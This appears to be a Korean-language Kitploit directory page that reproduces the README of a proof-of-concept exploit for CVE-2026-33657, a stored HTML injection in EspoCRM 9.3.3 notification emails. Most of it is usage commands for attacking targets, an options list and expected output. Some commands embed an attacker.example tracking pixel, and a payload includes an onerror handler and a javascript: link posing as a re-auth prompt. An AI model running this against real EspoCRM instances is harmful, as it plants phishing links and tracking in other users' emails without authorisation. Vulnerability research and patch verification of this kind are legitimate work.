Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-33657 — EspoCRM 9.3.3 - 이메일 알림의 저장형 HTML 주입 취약점 | Kitploit
도구/GitHubGitHub/entrovyx/cve-2026-33657
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubentrovyx/cve-2026-33657

CVE-2026-33657

EspoCRM 9.3.3 - 이메일 알림의 저장형 HTML 주입 취약점

저장소 보기
54개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-33657 - EspoCRM 9.3.3 이메일 알림 저장형 HTML 삽입

EspoCRM 9.3.3 이메일 알림의 저장형 HTML 삽입에 대한 인증된 개념 증명(PoC)입니다.

요약

EspoCRM 9.3.3은 스트림 노트 알림 이메일을 렌더링할 때 노트 본문을 Markdown으로 변환하고, 결과 HTML을 삼중 중괄호({{{post}}})로 이메일 템플릿에 삽입합니다. 스트림 게시물을 생성하고 알림을 트리거할 수 있는 인증된 사용자는 이후 생성된 이메일 본문에 렌더링되는 공격자 제어 HTML을 저장할 수 있습니다.

이 익스플로잇은 공격자가 제어하는 원격 부분의 흐름을 수행합니다:

  1. EspoCRM에 인증합니다.
  2. 선택적으로 /api/v1/App/user로 버전을 지문(fingerprint) 수집합니다.
  3. HTML을 포함한 악성 Note를 생성합니다.
  4. --mention 또는 --target-user-id를 사용하여 알림 대상을 큐에 추가합니다.
  5. 페이로드가 저장되었고 알림 대상이 API 응답에 존재하는지 확인합니다.

이메일 전송은 EspoCRM의 일반 SendEmailNotifications 작업 또는 cron이 큐에 추가된 알림을 처리할 때 발생합니다.

영향을 받는 버전

  • 취약: EspoCRM 9.3.3
  • 수정됨: EspoCRM 9.3.4
  • 권고: https://github.com/espocrm/espocrm/security/advisories/GHSA-8prm-r5j9-j574
  • CVE: CVE-2026-33657
  • CWE: CWE-80

요구 사항

  • Python 3
  • requests
  • 유효한 EspoCRM 자격 증명
  • 스트림 Note 레코드 생성 권한
  • 알림 대상:
    • 멘션 이메일 알림용 --mention <username>, 또는
    • 대상 지정 스트림 게시물 알림용 --target-user-id <id>

의존성 설치:

root@kitploit:~
python3 -m pip install requests

사용법

권장되는 멘션 기반 경로:

root@kitploit:~
python3 CVE-2026-33657.py \
  -u http://127.0.0.1:8083 \
  -U testuser \
  -P 'Admin12345!' \
  --mention admin

사용자 지정 추적 URL 사용:

root@kitploit:~
python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --mention victim \
  --tracking-url https://attacker.example/pixel.gif

완전히 사용자 지정 HTML 페이로드 사용:

root@kitploit:~
python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --mention victim \
  --payload '<img src="https://attacker.example/p.gif" onerror="alert(33657)"><a href="javascript:alert(33657)">open</a>'

멘션 대신 특정 사용자 ID 대상 지정:

root@kitploit:~
python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --target-user-id 0123456789abcdef0 \
  --target-user-name 'Victim User'

노트 생성 없이 지문 수집만 수행:

root@kitploit:~
python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --detect-only

옵션

root@kitploit:~
-u, --url                 기본 EspoCRM URL
-U, --username            EspoCRM 사용자 이름
-P, --password            EspoCRM 비밀번호
--mention                 멘션할 사용자 이름 (@ 제외)
--target-user-id          대상 지정 스트림 게시물 알림용 사용자 ID
--target-user-name        --target-user-id용 표시 이름
--payload                 Note에 저장할 원시 HTML 페이로드
--tracking-url            기본 페이로드에서 사용하는 추적 픽셀 URL
--link-url                기본 페이로드에서 사용하는 링크 URL
--marker                  페이로드 앞에 추가되는 마커 텍스트
--detect-only             버전 지문 수집만 수행; Note를 생성하지 않음
--skip-version-check      익스플로잇 전에 /api/v1/App/user 건너뛰기
--force                   버전 지문이 9.3.3이 아니어도 계속 진행
--insecure                TLS 인증서 검증 비활성화

예상 출력

성공적인 실행은 악성 노트를 생성하고 알림 대상을 확인합니다:

root@kitploit:~
[*] /api/v1/App/user: HTTP 200
[*] Detected version: 9.3.3
[+] Version fingerprint is vulnerable: EspoCRM 9.3.3.
[*] Creating malicious Note as testuser
[*] Note response: HTTP 200 ...
[+] Exploit payload stored in Note post.
[+] Note id: 69fddeef8db756271
[+] Mention parsed: @admin -> user id 69fdcfb66c34ccb81
[+] Notification target list returned by API: 69fdcfb66c34ccb81
[+] Complete remote trigger submitted.

취약한 인스턴스에서 생성된 HTML 이메일 본문은 삽입된 HTML을 보존합니다. 랩 캡처는 다음과 같습니다:

root@kitploit:~
<img src="http://attacker.example/full-process.gif" width="1" height="1" onerror="alert(33657)">
<a href="javascript:alert(33657)" style="color:red">re-auth</a>

랩 검증

로컬 EspoCRM 랩에서 익스플로잇 실행 후 알림 작업을 트리거합니다:

root@kitploit:~
sudo -u www-data php command.php run-job SendEmailNotifications

결과 이메일 본문의 text/html 부분에 삽입된 HTML이 포함되어야 합니다.

참고 사항

  • 익스플로잇은 대상에 대한 셸 액세스가 필요하지 않습니다. 셸 액세스는 큐에 추가된 이메일 작업의 로컬 랩 검증에만 유용합니다.
  • API가 @@version을 보고하면 대상은 소스 트리 빌드일 가능성이 높습니다. 기본 코드가 여전히 취약한 9.3.3 태그일 수 있으므로 스크립트는 계속 진행합니다.
  • --mention이 파싱된 멘션을 생성하지 않으면 공격자의 messagePermission 및 mentionPermission을 확인하고 대상 사용자 이름이 존재하며 알림을 받을 수 있는지 확인하세요.
도구 다운로드